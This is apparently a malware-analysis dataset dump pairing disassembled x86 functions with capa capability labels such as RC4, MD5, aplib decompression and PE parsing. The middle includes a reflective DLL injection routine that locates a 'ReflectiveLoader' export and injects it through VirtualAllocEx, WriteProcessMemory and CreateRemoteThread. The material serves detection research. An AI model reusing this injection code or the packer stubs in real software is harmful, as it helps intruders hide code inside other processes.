joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42beb7
Capabilities:
Identify system language via api

Disassembly:
mov eax, 0x431e1d
call fcn.0042f6e0
sub esp, 0x1c
push ebx
push esi
mov esi, dword [0x43541c]
xor ebx, ebx
dec byte [0x43bbc8]
push edi
mov al, byte [esi]
mov dword [ebp - 0x18], ebx
add al, 0x5f
movzx eax, al
add eax, 3
and al, 0xfc
call fcn.0042f700
mov ecx, esp
mov edx, esi
call fcn.0042b9bf
mov edi, eax
mov al, byte [ebp + 0xf]
push ebx
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x28], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
movsx eax, word [0x43bbda]
push 1
pop esi
push dword [0x43bbfc]
mov dword [ebp - 4], esi
push eax
call fcn.00411856
dec byte [0x43bbca]
mov word [0x43bbe4], ax
movsx eax, byte [0x43bbc9]
push eax
push 0xcedbffff
call fcn.004116ab
add esp, 0x10
add dword [0x43bbfc], eax
mov dword [ebp - 0x10], 8
mov al, byte [0x43bbcc]
push 0x463ffff
neg al
push 0x1501ffff
mov byte [0x43bbd0], al
call fcn.00411820
add dword [0x43bbec], eax
mov eax, dword [ebp + 0xc]
or word [0x43bbd6], 0xffff
pop ecx
shr eax, 0x1c
pop ecx
mov al, byte [eax + edi]
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x14], al
push dword [ebp - 0x14]
push esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_unsigned_int__char_]
push 0xecafffff
push dword [0x43bbf4]
call fcn.004117aa
shl dword [ebp + 0xc], 4
dec dword [ebp - 0x10]
pop ecx
pop ecx
mov word [0x43bbe0], ax
jne 0x42bf4b
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
add byte [0x43bbcf], al
mov al, byte [0x43bbf0]
push eax
mov word [0x43bbda], si
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
add word [0x43bbda], ax
mov edi, dword [ebp + 8]
mov al, byte [ebp - 0x28]
push ebx
mov ecx, edi
mov byte [edi], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov ecx, edi
push dword [eax]
lea eax, [ebp - 0x28]
push ebx
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov dword [ebp - 0x18], esi
push esi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x34]
mov eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42d0e4
Capabilities:
Identify system language via api

Disassembly:
mov eax, 0x431fe4
call fcn.0042f6e0
push ecx
push ebx
push esi
push edi
mov esi, ecx
push dword [0x43bbfc]
push 0x3559ffff
call fcn.004118a0
mov byte [0x43bbcb], al
movsx eax, word [0x43bbe0]
push eax
movsx eax, byte [0x43bbd1]
push eax
call fcn.004118a0
add word [0x43bbda], ax
or byte [0x43bbcb], 0xff
add esp, 0x10
lea edi, [esi + 0x10]
mov dword [ebp - 0x10], edi
push edi
push 0x42
call fcn.00415e0d
pop ecx
call eax
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push dword [ebp + 8]
add word [0x43bbe2], ax
mov ecx, esi
call fcn.0042d283
mov ebx, dword [eax]
inc dword [0x43bc0c]
movsx ax, byte [0x43bbd1]
add ax, word [0x43bbde]
test ebx, ebx
mov word [0x43bbd6], ax
je 0x42d186
push dword [ebp + 8]
mov ecx, esi
call fcn.0042d3ce
mov eax, dword [0x43bbe8]
or dword [ebp - 4], 0xffffffff
neg eax
push edi
push 0x53
mov word [0x43bbde], ax
call fcn.00415e0d
pop ecx
call eax
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x42f034
Capabilities:
Accept command line arguments
Identify system language via api

Disassembly:
mov eax, 0x4320dc
call fcn.0042f6e0
push ecx
push ecx
push ebx
push esi
push edi
or ax, 0xffff
xor ebx, ebx
sub ax, word [0x43bbdc]
push 0xe1a3ffff
mov dword [ebp - 4], ebx
mov dword [0x43bbfc], 0xfa05fffe
mov word [0x43bbe4], ax
xor edi, edi
movsx eax, byte [0x43bbca]
push eax
call fcn.0041172e
cmp dword [ebp + 8], ebx
pop ecx
pop ecx
mov byte [0x43bbc9], al
jne 0x42f08d
push 0x80004003
call fcn.0042fb10
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.0042f59a
mov ax, word [0x43bbf4]
mov byte [ebp - 4], 1
add word [0x43bbda], ax
cmp dword [ebp - 0x10], ebx
je 0x42f1c1
movsx eax, word [0x43bbd6]
push 0xda37ffff
push eax
call fcn.004117d2
mov byte [0x43bbcc], al
movsx eax, word [0x43bbd2]
push eax
push dword [0x43bc08]
call fcn.00411856
add esp, 0x10
mov byte [0x43bbcc], al
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov esi, dword [ebp + 0xc]
add word [0x43bbd6], ax
mov al, byte [esi]
add al, 0x5f
movzx eax, al
add eax, 3
and al, 0xfc
call fcn.0042f700
mov ecx, esp
mov edx, esi
call fcn.0042b9bf
push ecx
mov ecx, esp
mov dword [ebp + 0xc], esp
push eax
call fcn.00410226
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call fcn.0040fd9c
mov ecx, eax
call fcn.0042f5cc
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, dword [ebp - 0x14]
add byte [0x43bbcb], al
cmp ecx, ebx
je 0x42f1b3
movsx eax, byte [0x43bbcc]
sub eax, dword [0x43bbe8]
add dword [0x43bc04], eax
mov al, byte [0x43bbcf]
neg al
mov byte [0x43bbcd], al
lea eax, [ebp + 0xc]
push eax
call fcn.0040fb81
mov ecx, dword [eax]
mov byte [ebp - 4], 4
cmp ecx, ebx
je 0x42f184
call fcn.0041038c
mov esi, eax
jmp 0x42f186
xor esi, esi
push esi
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0x10]
push eax
push esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov ecx, dword [ebp + 0xc]
cmp ecx, ebx
je 0x42f1a7
call fcn.0041035f
mov dword [ebp + 0xc], ebx
inc byte [0x43bbca]
mov ecx, dword [ebp - 0x14]
push 1
pop edi
cmp ecx, ebx
mov byte [ebp - 4], 1
je 0x42f1c1
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
movsx eax, word [0x43bbda]
push eax
movsx eax, word [0x43bbde]
push eax
call fcn.004117aa
add byte [0x43bbd0], al
mov al, byte [0x43bbce]
imul byte [0x43bbcc]
mov byte [0x43bbcc], al
mov eax, dword [ebp - 0x10]
pop ecx
cmp eax, ebx
pop ecx
mov byte [ebp - 4], bl
je 0x42f1fe
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
je 0x42f20f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x20]
mov eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x103d8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.103d81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x103d807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x103d806a
add dl, dl
jne 0x103d8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x103d80dc
xor eax, eax
add dl, dl
jne 0x103d8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x103d817d
add dl, dl
jne 0x103d80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x103d80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x103d80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x103d80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x103d80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x103d8075
mov eax, 1
add dl, dl
jne 0x103d80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x103d80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x103d80e1
sub eax, ebx
mov ebx, 1
jne 0x103d8128
mov ecx, 1
add dl, dl
jne 0x103d810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x103d8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x103d8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x103d8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x103d813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x103d814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x103d8136
cmp eax, 0x7d00
jae 0x103d816d
cmp eax, 0x500
jb 0x103d8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x103d8075
cmp eax, 0x7f
ja 0x103d8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x103d8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x103d819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x103d8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4252b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5004
call fcn.00435c50
dec dword [0x43ebe4]
mov ecx, dword [0x447a30]
mov eax, dword [0x43ebe4]
mov edx, dword [0x443754]
sub eax, ecx
and edx, eax
cmp edx, 0xba88d684
jne 0x4252f4
movzx eax, word [0x464aba]
sub eax, 0x592f3c82
mov word [0x464aba], ax
jmp 0x425306
mov cx, word [0x463cd6]
movsx eax, cx
not eax
add dword [0x43d6f0], eax
fld dword [0x46f338]
push esi
fstp qword [0x45b900]
push edi
fld dword [0x46f338]
mov edi, dword [ebp + 0xc]
fadd qword [0x43b230]
mov ecx, edi
fstp dword [0x46f338]
movzx edx, word [0x46665e]
imul edx, edx, 0xa5c30217
mov word [0x46665e], dx
call fcn.00415360
mov esi, dword [ebp + 8]
mov eax, 0xffffe396
mov word [0x465578], ax
jmp 0x425360
mov cx, word [0x4647aa]
mov edx, dword [0x43fc30]
movsx eax, cx
xor eax, 0xf7be4ef8
sar edx, 2
or edx, eax
cmp edx, 0xbff7bbf9
jge 0x42538c
add dword [0x43d61c], 0xe5d624ec
push 0
lea eax, [ebp - 4]
push eax
push 0x5000
lea ecx, [ebp - 0x5004]
push ecx
push esi
call dword [0x448564]
test eax, eax
je 0x4253f6
cmp dword [ebp - 4], 0
je 0x4253f6
movzx edx, word [0x46319e]
movsx eax, dx
imul eax, eax, 0x76a35000
or eax, 0x40cac0a6
sub dword [0x444724], eax
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x5004]
push ecx
mov ecx, edi
call fcn.0042ead0
movzx edx, word [0x46611e]
movsx eax, dx
imul eax, eax, 0x3ae78678
mov dword [0x4426d4], eax
jmp 0x425360
fld dword [0x472eb0]
pop edi
fmul qword [0x459030]
pop esi
fadd dword [0x46a808]
fstp dword [0x46a808]
mov cx, word [0x465710]
movzx edx, word [0x460c0a]
movsx eax, cx
and eax, 0xfe22c353
shl eax, 5
xor eax, 0xc3bba8c8
or edx, eax
mov word [0x460c0a], dx
mov esp, ebp
pop ebp
ret
Function at 0x432580
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
fld dword [0x468c68]
fld dword [0x472ad0]
fmul dword [0x467524]
fadd dword [0x469248]
fld dword [0x468c68]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [0x468c68]
fxch st(1)
fcompi st(2)
fstp st(1)
jb 0x4325ea
mov ax, word [0x462b02]
movsx ecx, ax
add ecx, ecx
add ecx, ecx
add ecx, ecx
cmp ecx, 0x1012
jle 0x4325ea
mov dx, word [0x464984]
mov ecx, dword [0x443e94]
movsx eax, dx
or ecx, eax
or ecx, 0x7e74f5c4
mov dword [0x443e94], ecx
xor dword [0x43f890], 0xa9e3439b
mov edx, dword [ebp + 8]
movzx ecx, byte [edx]
push esi
mov esi, dword [ebp + 0xc]
mov al, byte [esi]
push edi
movzx edi, al
sub ecx, edi
mov edi, 1
jne 0x432625
push ebx
test al, al
je 0x432624
mov al, byte [esi + edi]
movzx ecx, byte [edx + edi]
add esi, edi
add edx, edi
movzx ebx, al
sub ecx, ebx
je 0x43260e
pop ebx
add dword [0x447028], 0xc7bf94f0
test ecx, ecx
jge 0x432685
and dword [0x447660], 0x565b1919
mov eax, dword [0x445138]
mov edx, dword [0x4477cc]
add dword [0x4477cc], edi
not eax
sub eax, edx
sub eax, 0x3c032184
or ecx, 0xffffffff
cmp eax, 0xe6ebeb6f
je 0x43273e
mov ax, word [0x464cc4]
mov edx, dword [0x441700]
cwde
and eax, 0x8c655433
imul edx, eax
mov dword [0x441700], edx
jmp 0x43273e
jle 0x43273e
fld dword [0x46e860]
fld dword [0x467fdc]
fadd dword [0x46abf8]
fadd qword [0x457d68]
fxch st(1)
fcompi st(1)
fstp st(0)
jbe 0x4326b5
add dword [0x43e5b4], 0x140b00b0
mov eax, dword [0x44189c]
mov edx, dword [0x43e54c]
not eax
and edx, eax
mov ax, word [0x466a9e]
add word [0x466a9e], di
add dword [0x43e54c], edi
cwde
imul eax, eax, 0x238423bc
cmp edx, eax
mov ecx, edi
jg 0x43272e
mov edx, dword [0x43cdac]
dec dword [0x43cdac]
imul edx, edx, 0xc3e15f6e
cmp edx, 0xc72f2f4d
jle 0x432706
mov ax, word [0x4616b2]
jmp 0x43273e
fld dword [0x46f070]
fmul dword [0x471b90]
fmul qword [0x45acb8]
fstp qword [0x45acb8]
fld dword [0x46f070]
fsub st(1)
fstp dword [0x46f070]
jmp 0x43273e
mov eax, dword [0x43ea60]
or eax, 0x808f5ceb
sub dword [0x44033c], eax
fld dword [0x46d5fc]
pop edi
fmul dword [0x46f21c]
pop esi
fld qword [0x459480]
mov eax, ecx
fld dword [0x46f21c]
faddp st(3)
fxch st(2)
fstp dword [0x46f21c]
fcompi st(1)
fstp st(0)
jb 0x432774
add dword [0x4442fc], 0x204c8466
pop ebp
ret
Function at 0x432b70
Capabilities:
Hash data with md5

Disassembly:
xor dword [0x447e04], 0xea11c218
mov dword [ecx], 0
mov eax, dword [0x444b40]
not eax
xor eax, 0x8a35c1b1
sub dword [0x4409d8], eax
mov dword [ecx + 4], 0
mov ax, word [0x461fba]
mov edx, dword [0x440214]
cwde
imul eax, eax, 0x2474dac6
lea eax, [eax + edx*8]
xor dword [0x445fbc], eax
inc word [0x461fba]
mov dword [ecx + 8], 0x67452301
add dword [0x446544], 0x816c0616
mov dword [ecx + 0xc], 0xefcdab89
mov eax, dword [0x446280]
movzx edx, word [0x465808]
sar eax, 9
sub edx, eax
mov word [0x465808], dx
mov dword [ecx + 0x10], 0x98badcfe
or dword [0x443eb0], 0x4912aee7
mov dword [ecx + 0x14], 0x10325476
fld dword [0x467024]
fld dword [0x46fa34]
fmul dword [0x467fa0]
fadd dword [0x46dfdc]
fld dword [0x467024]
fsub qword [0x43b230]
fstp dword [0x467024]
fcompi st(1)
fstp st(0)
jbe 0x432c46
fld dword [0x46a2d4]
fsub qword [0x45c0e8]
fstp dword [0x46a2d4]
ret
Function at 0x4012c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [edx + 0x3c]
add esi, edx
push edi
mov edi, ecx
movzx eax, word [esi + 0x14]
add eax, 0x18
add eax, esi
mov dword [ebp - 4], eax
cmp edi, dword [eax + 0x14]
jae 0x4012e8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
movzx ebx, word [esi + 6]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 8], ebx
cmp ax, bx
jae 0x401327
nop dword [eax]
mov esi, dword [ebp - 4]
movzx edx, cx
lea eax, [edx + edx*4]
mov esi, dword [esi + eax*8 + 0xc]
cmp edi, esi
jb 0x401321
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + eax*8 + 0x10]
mov ebx, dword [ebp - 8]
add eax, esi
cmp edi, eax
jb 0x401330
inc ecx
cmp cx, bx
jb 0x401300
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
lea eax, [edx + edx*4]
pop ebx
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, esi
add eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401350
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, 0x10b
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 0x3c]
cmp word [ecx + edi + 0x18], ax
jne 0x4013c9
mov ecx, dword [ecx + edi + 0x78]
mov edx, edi
call fcn.004012c0
mov ecx, dword [edi + eax + 0x20]
mov edx, edi
lea ebx, [edi + eax]
mov dword [ebp - 8], ebx
call fcn.004012c0
mov ecx, dword [ebx + 0x24]
mov edx, edi
lea esi, [edi + eax]
call fcn.004012c0
mov ebx, dword [ebx + 0x18]
add eax, edi
mov dword [ebp - 4], eax
test ebx, ebx
je 0x4013c9
nop
mov ecx, dword [esi]
mov edx, edi
dec ebx
call fcn.004012c0
add eax, edi
push str.ReflectiveLoader
push eax
call fcn.004021b0
add esp, 8
test eax, eax
jne 0x4013d2
add dword [ebp - 4], 2
add esi, 4
test ebx, ebx
jne 0x4013a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov edx, edi
mov ecx, dword [ecx + 0x1c]
call fcn.004012c0
mov ecx, dword [ebp - 4]
add eax, edi
mov edx, edi
movzx ecx, word [ecx]
mov ecx, dword [eax + ecx*4]
call fcn.004012c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401400
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x41a0b8
push 0x402050
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x41b004]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, edx
mov dword [ebp - 0x1c], eax
mov edi, ecx
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], esi
test edi, edi
je 0x4014b3
test eax, eax
je 0x4014b3
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4014b3
mov ecx, eax
call fcn.00401350
mov dword [ebp - 0x20], eax
test eax, eax
je 0x4014b3
push 0x40
push 0x3000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 8], eax
test eax, eax
je 0x4014b3
push esi
push ebx
push dword [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4014b3
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x24]
push ecx
push esi
push esi
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
jmp 0x4014b0
mov dword [ebp - 0x28], esi
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x406fde
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40701d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40701d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40701d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40701d
cmp dword [ecx + 0x74], 0xe
jbe 0x40701d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407fa6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415608
push 0x415600
push str.FlsAlloc
push 0x1f
call fcn.00407e65
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407fda
push dword [ebp + 8]
mov ecx, esi
call dword [0x414140]
call esi
jmp 0x407fe0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408024
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415618
push 0x415610
push str.FlsGetValue
push 0x21
call fcn.00407e65
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40805b
push dword [ebp + 8]
mov ecx, esi
call dword [0x414140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x408063
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415620
push 0x415618
push str.FlsSetValue
push 0x22
call fcn.00407e65
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40809d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414140]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40b5eb
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b688
push ebx
push esi
call fcn.0040b5b4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b548
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b635
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b687
push edi
push eax
call fcn.00408755
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b655
call fcn.00407cf8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b686
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b548
add esp, 0x20
test eax, eax
jne 0x40b674
push edi
call fcn.00407cf8
jmp 0x40b67c
push ebx
call fcn.00407cf8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1e5e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01e5e1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1e5e07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1e5e06a
add dl, dl
jne 0x1e5e089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1e5e0dc
xor eax, eax
add dl, dl
jne 0x1e5e096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1e5e17d
add dl, dl
jne 0x1e5e0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e5e0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e5e0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e5e0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1e5e0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1e5e075
mov eax, 1
add dl, dl
jne 0x1e5e0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1e5e0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1e5e0e1
sub eax, ebx
mov ebx, 1
jne 0x1e5e128
mov ecx, 1
add dl, dl
jne 0x1e5e10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1e5e119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1e5e105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1e5e075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1e5e13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1e5e14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1e5e136
cmp eax, 0x7d00
jae 0x1e5e16d
cmp eax, 0x500
jb 0x1e5e168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1e5e075
cmp eax, 0x7f
ja 0x1e5e170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1e5e075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1e5e19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1e5e075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10